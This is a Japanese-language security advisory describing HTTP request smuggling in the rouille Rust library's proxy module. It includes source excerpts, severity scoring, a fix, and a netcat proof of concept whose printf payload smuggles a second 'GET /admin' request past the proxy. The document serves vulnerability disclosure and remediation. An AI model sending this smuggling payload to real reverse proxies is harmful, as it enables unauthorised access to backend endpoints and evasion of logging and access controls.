
セキュリティアドバイザリ: Transfer-Encodingの非同期化によるHTTPリクエストスマグリング (rouille)
割り当て済み CVE ID: CVE-2026-67181
rouille::proxy::proxy はクライアントの Transfer-Encoding ヘッダーを変更せずにバックエンドへ転送しますが、tiny_http がすでにチャンク解除したリクエストボディを書き込みます。独自の Content-Length を送出することはありません。バックエンドにはボディがチャンク形式であると伝えられ、チャンク形式ではないバイト列が渡されるため、バックエンドがボディの終端をどこだと認識するかは rouille ではなくクライアントが決定します。
Repo URL: https://github.com/tomaka/rouille
| 最初に影響を受けるバージョン | 0.3.3 (2016-12-03)、src/proxy.rs を導入したリリース |
| 最後に影響を受けるバージョン | 3.6.2 (2023-04-24)、現在のリリース |
| 影響を受けないバージョン | 0.3.2 以前。プロキシモジュールがない |
| 修正版 | 執筆時点では修正版なし |
src/proxy.rs は 3.6.2 タグと現在の master の間でバイト単位で同一です。proxy::proxy または proxy::full_proxy を呼び出すアプリケーションのみが影響を受けます。
CWE-444 (HTTP リクエストの解釈の不整合)。
CVSS 4.0 ベーススコア 6.3 (中)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
リバースプロキシとして動作する rouille アプリケーションに生の HTTP を送信する、リモートの認証されていないクライアント。認証情報やユーザーの操作は不要です。
影響はバックエンドに依存します。Connection: close に関係なくパイプライン処理を行うバックエンドや、rouille とオリジン間に存在するコネクションプーリング仲介ノードは、スマグリングされたリクエストを実行します。Connection: close を尊重するバックエンドでも、結局はクライアントが送信した本文と rouille が観測した本文の両方とは異なるリクエストボディになります。
tiny_http は Transfer-Encoding ヘッダーが存在する場合常にチャンク解除を行い、Content-Length を破棄します。
tiny_http-0.12.0/src/request.rs の 149 行目から 159 行目:
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
tiny_http-0.12.0/src/request.rs の 218 行目から 221 行目:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
rouille/src/proxy.rs は Connection を除くすべてのヘッダーを転送し、デコード済みのボディをコピーします。167 行目から 174 行目:
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
クライアントの Transfer-Encoding: chunked は 171 行目で残ります。174 行目は Decoder が生成した平文を書き込みます。Content-Length は一切書き込まれないため、バックエンドはフレーミングの手掛かりが他になく、攻撃者が選んだ平文にチャンク解析を適用します。
ステップ 1: ポート 8001 で raw リスナーを起動し、バックエンドとして rouille が送信するバイトを表示します。
nc -l 127.0.0.1 8001 | cat -v
ステップ 2: ポート 8000 で rouille フロントエンドを起動します。
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
ステップ 3: 正しくチャンク化されたリクエストを送信します。そのデコード済みボディ自体が、すぐに終了するチャンクストリームであり、その後に 2 つ目のリクエストが続きます。単一チャンクの長さは 0x3d = 61 バイトです。
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
結果: ステップ 1 のリスナーには、rouille がチャンクフレーミングを宣言してから平文を送信する様子が表示されます。
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
Transfer-Encoding: chunked を尊重するバックエンドはチャンクサイズ行 0 を読み取り、ボディが空であると判断し、残りの 56 バイトを新しいリクエストとして解析します。
バックエンドが認識するリクエストボディは、クライアントが送信したバイトと rouille が読み取ったバイトの両方と異なります。ボディをログ記録、監査、またはミラーリングする上流の何かは、バックエンドが処理したものとは異なるものを記録します。
バックエンドが Connection: close にもかかわらずパイプライン処理を行う場合、または rouille とオリジンの間にコネクションプーリング仲介ノードが存在する場合、末尾のバイトは攻撃者が選択したメソッドとパスを持つ 2 つ目のリクエストになります。
クライアントの Content-Length は tiny_http が無視したにもかかわらず転送されるため、Transfer-Encoding よりも Content-Length を優先するバックエンドは CL.TE 非同期化を直接引き起こします。
rouille がすでにデコードしたボディを記述するフレーミングヘッダーを転送しないでください。src/proxy.rs の 167 行目でスキップ処理を拡張します:
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
その後、実際に書き込む内容に一致するフレーミングを送出します: ボディをバッファリングして正確な Content-Length を送信するか、再チャンク化して Transfer-Encoding: chunked を自分で送信してください。これは 173 行目の終端 \r\n\r\n の前に行います。